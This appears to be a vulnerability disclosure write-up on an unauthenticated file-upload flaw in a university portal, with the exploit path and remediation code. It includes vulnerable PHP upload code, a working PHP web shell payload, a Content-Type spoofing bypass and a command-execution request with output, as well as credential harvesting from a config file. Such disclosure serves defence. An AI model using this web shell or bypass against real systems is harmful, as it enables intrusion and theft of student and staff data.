Remote Code Execution (RCE) and System Compromise in University Administration Portal
Executive Summary
In December 2024, the SDX Shadow Labs research division performed a vulnerability assessment of a public university administration system. During the assessment, we identified a critical unauthenticated Remote Code Execution (RCE) vulnerability in an exposed file management utility.
By exploiting a flaw in the server's file upload validation logic, an unauthenticated attacker could upload malicious scripts (web shells) directly to the web server root. This enabled remote code execution with system-level privileges. Chaining this vulnerability with weak internal credential management, we obtained full access to the primary database clusters, putting the sensitive PII, academic records, and financial details of thousands of students and university staff at risk.
Technical Analysis & Vulnerability Mechanics
The university administrative portal was built on a legacy LAMP stack (Linux, Apache, MySQL, PHP). The vulnerability was located in /admin/modules/file_uploader.php, an administrative endpoint exposed to the public internet that failed to enforce session checks.
The file uploader validated uploads using client-side JavaScript checks on file extensions, but the backend script trusted user-supplied metadata headers without verification:
// Vulnerable PHP File Upload Logic
$target_dir = "/var/www/html/uploads/";
$target_file = $target_dir . basename($_FILES["uploaded_file"]["name"]);
$file_type = $_FILES["uploaded_file"]["type"];
// Vulnerability: Relying on Content-Type header sent by browser client
if ($file_type == "image/png" || $file_type == "image/jpeg") {
move_uploaded_file($_FILES["uploaded_file"]["tmp_name"], $target_file);
}
Because the server-side code evaluated the user-controlled Content-Type request header instead of reading the file's binary contents (magic bytes) or sanitizing the output file extension, we bypassed the filter by spoofing the header metadata.
Step-by-Step Attack Path
1. Directory Enumeration & Administrative Exposure
Using directory enumeration tools, we located the path /admin/modules/file_uploader.php. We verified that requesting this URL returned the upload form interface without redirecting to a login page, indicating a complete authentication bypass on the resource.
2. Client-Side Bypass & Payload Upload
We attempted to upload a standard PHP shell file (cmd.php). The client-side browser logic blocked the upload with an alert saying "Only image files allowed."
To bypass this control, we captured the upload request using our intercepting proxy and modified the parameters before transmission:
- Original filename:
cmd.php - Modified header in request: Changed
Content-Type: application/x-httpd-phptoContent-Type: image/png - Payload body:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die; } ?>
3. Execution of the Web Shell
The backend script verified that the HTTP Content-Type header was image/png and permitted the upload. The file was saved directly into the web-accessible directory /uploads/cmd.php.
We accessed our web shell using the following request structure:
GET /uploads/cmd.php?cmd=id;whoami HTTP/1.1
Host: admin.university-portal.edu
The server executed the command and returned system identifier metadata:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Privilege Escalation & Database Access
Operating inside the web server container:
- We read the application configuration file located at
/var/www/html/config/db_connect.php. - This file contained plaintext administrative credentials for the primary PostgreSQL instance.
- Using these credentials, we connected to the PostgreSQL database, confirming read-access over tables containing student profiles, national identity numbers, academic grading histories, and staff payroll information for thousands of university personnel.
Remediation & Verification
Code-Level File Upload Hardening
We worked with the university's IT infrastructure and development teams to secure the upload handler. The upload validation was rewritten to:
- Validate file extensions strictly using server-side whitelists.
- Read the file's binary signature (magic bytes) using PHP's
finfo_filelibrary rather than trusting user-supplied headers. - Rename uploaded files to random hashes to prevent execution mapping.
- Disable execution permissions on the upload directory.
// Secured PHP Upload Logic
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["uploaded_file"]["tmp_name"]);
finfo_close($finfo);
$allowed_types = ["image/png" => "png", "image/jpeg" => "jpg"];
if (!array_key_exists($mime, $allowed_types)) {
die("Error: Invalid file type.");
}
$ext = $allowed_types[$mime];
$new_filename = bin2hex(random_bytes(16)) . "." . $ext;
$target_file = "/var/www/html/uploads/" . $new_filename;
if (move_uploaded_file($_FILES["uploaded_file"]["tmp_name"], $target_file)) {
// File uploaded safely with random name and verified type
}
Apache Directory Hardening
We configured the web server configuration to disable PHP execution within the /uploads/ directory using an .htaccess or server block directive:
<Directory "/var/www/html/uploads">
php_admin_value engine off
<FilesMatch "\.(php|phtml|php3|php4|php5|phps)$">
Order Deny,Allow
Deny from all
</FilesMatch>
</Directory>
Verification
After applying the patch, we attempted to upload a web shell using header manipulation and double-extension techniques. The server rejected the file based on mime-type inspection. Furthermore, direct upload attempts with manual naming were neutralized as the execution engine was disabled in the folder, ensuring the vulnerability is fully remediated.